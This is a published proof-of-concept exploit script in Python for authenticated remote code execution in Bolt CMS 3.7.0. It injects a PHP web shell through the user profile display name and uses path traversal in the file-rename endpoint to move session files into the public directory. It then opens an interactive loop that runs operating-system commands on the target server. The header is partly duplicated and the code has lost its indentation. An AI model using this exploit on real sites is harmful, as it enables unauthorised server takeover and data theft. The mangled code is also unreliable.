# Exploit Title: Bolt CMS 3.7.0 - Authenticated Remote Code Execution
# Date: 2020-04-05
# Exploit Author: r3m0t3nu11
# Vendor Homepage: https://bolt.cm/
# Software Link: https://b # Exploit Title: Bolt CMS 3.7.0 - Authenticated Remote Code Execution
# Date: 2020-04-05
# Exploit Author: r3m0t3nu11
# Vendor Homepage: https://bolt.cm/
# Software Link: https://bolt.cm/
# Version: up to date and 6.x
# Tested on: Linux
# CVE : not-yet-0day

# last version

# p0c


#!/usr/bin/python

import requests
import sys
import warnings
import re
import os
from bs4 import BeautifulSoup
from colorama import init
from termcolor import colored

init()

print(colored('''
▄▄▄▄▄▄▄▄▄▄ ▄▄▄▄▄▄▄▄▄▄▄ ▄ ▄▄▄▄▄▄▄▄▄▄▄ ▄▄▄▄▄▄▄▄▄▄▄ ▄▄ ▄▄
▄▄▄▄▄▄▄▄▄▄▄
▐░░░░░░░░░░▌ ▐░░░░░░░░░░░▌▐░▌ ▐░░░░░░░░░░░▌▐░░░░░░░░░░░▌▐░░▌
▐░░▌▐░░░░░░░░░░░▌
▐░█▀▀▀▀▀▀▀█░▌▐░█▀▀▀▀▀▀▀█░▌▐░▌ ▀▀▀▀█░█▀▀▀▀ ▐░█▀▀▀▀▀▀▀▀▀ ▐░▌░▌
▐░▐░▌▐░█▀▀▀▀▀▀▀▀▀
▐░▌ ▐░▌▐░▌ ▐░▌▐░▌ ▐░▌ ▐░▌ ▐░▌▐░▌
▐░▌▐░▌▐░▌
▐░█▄▄▄▄▄▄▄█░▌▐░▌ ▐░▌▐░▌ ▐░▌ ▐░▌ ▐░▌ ▐░▐░▌
▐░▌▐░█▄▄▄▄▄▄▄▄▄
▐░░░░░░░░░░▌ ▐░▌ ▐░▌▐░▌ ▐░▌ ▐░▌ ▐░▌ ▐░▌
▐░▌▐░░░░░░░░░░░▌
▐░█▀▀▀▀▀▀▀█░▌▐░▌ ▐░▌▐░▌ ▐░▌ ▐░▌ ▐░▌ ▀ ▐░▌
▀▀▀▀▀▀▀▀▀█░▌
▐░▌ ▐░▌▐░▌ ▐░▌▐░▌ ▐░▌ ▐░▌ ▐░▌ ▐░▌
▐░
▐░█▄▄▄▄▄▄▄█░▌▐░█▄▄▄▄▄▄▄█░▌▐░█▄▄▄▄▄▄▄▄▄ ▐░▌ ▐░█▄▄▄▄▄▄▄▄▄ ▐░▌ ▐░▌
▄▄▄▄▄▄▄▄▄█░▌
▐░░░░░░░░░░▌ ▐░░░░░░░░░░░▌▐░░░░░░░░░░░▌▐░▌ ▐░░░░░░░░░░░▌▐░▌
▐░▌▐░░░░░░░░░░░▌
▀▀▀▀▀▀▀▀▀▀ ▀▀▀▀▀▀▀▀▀▀▀ ▀▀▀▀▀▀▀▀▀▀▀ ▀ ▀▀▀▀▀▀▀▀▀▀▀ ▀ ▀
▀▀▀▀▀▀▀▀▀▀▀

Pre Auth rce with low credintanl
By @r3m0t3nu11 speical thanks to @dracula @Mr_Hex''',"blue"))



if len(sys.argv) != 4:
print((len(sys.argv)))
print((colored("[~] Usage : ./bolt.py url username password","red")))
exit()
url = sys.argv[1]
username = sys.argv[2]
password = sys.argv[3]



request = requests.session()
print((colored("[+] Retrieving CSRF token to submit the login
form","green")))
page = request.get(url+"/bolt/login")
html_content = page.text
soup = BeautifulSoup(html_content, 'html.parser')
token = soup.findAll('input')[2].get("value")

login_info = {
"user_login[username]": username,
"user_login[password]": password,
"user_login[login]": "",
"user_login[_token]": token
}

login_request = request.post(url+"/bolt/login", login_info)
print((colored("[+] Login token is : {0}","green")).format(token))



aaa = request.get(url+"/bolt/profile")
soup0 = BeautifulSoup(aaa.content, 'html.parser')
token0 = soup0.findAll('input')[6].get("value")
data_profile = {
"user_profile[password][first]":"password",
"user_profile[password][second]":"password",
"user_profile[email]":"a@a.com",
"user_profile[displayname]":"<?php system($_GET['test']);?>",
"user_profile[save]":"",
"user_profile[_token]":token0

}
profile = request.post(url+'/bolt/profile',data_profile)




cache_csrf = request.get(url+"/bolt/overview/showcases")

soup1 = BeautifulSoup(cache_csrf.text, 'html.parser')
csrf = soup1.findAll('div')[12].get("data-bolt_csrf_token")


asyncc = request.get(url+"/async/browse/cache/.sessions?multiselect=true")
soup2 = BeautifulSoup(asyncc.text, 'html.parser')
tables = soup2.find_all('span', class_ = 'entry disabled')


print((colored("[+] SESSION INJECTION ","green")))
for all_tables in tables:

f= open("session.txt","a+")
f.write(all_tables.text+" ")
f.close()
num_lines = sum(1 for line in open('session.txt'))

renamePostData = {
"namespace": "root",
"parent": "/app/cache/.sessions",
"oldname": all_tables.text,
"newname": "../../../public/files/test{}.php".format(num_lines),
"token": csrf
}
rename = request.post(url+"/async/folder/rename", renamePostData)




try:
url1 = url+'/files/test{}.php?test=ls%20-la'.format(num_lines)

rev = requests.get(url1).text
r1 = re.findall('php',rev)

r2 = r1[0]
if r2 == "php" :
fileINJ = "test{}".format(num_lines)

print((colored("[+] FOUND : "+fileINJ,"green")))

except IndexError:
print((colored("[-] Not found.","red")))

new_name = 0
while new_name != 'quit':
inputs = input(colored("Enter OS command , for exit 'quit' :
","green","on_red"))
if inputs == "quit" :
exit()
else:
a = requests.get(url+"/files/{}.php?test={}".format(fileINJ,inputs))
aa = a.text
r11 = re.findall('...displayname";s:..:"([wsW]+)',aa)


print((r11)[0])




Greetz to : all my friends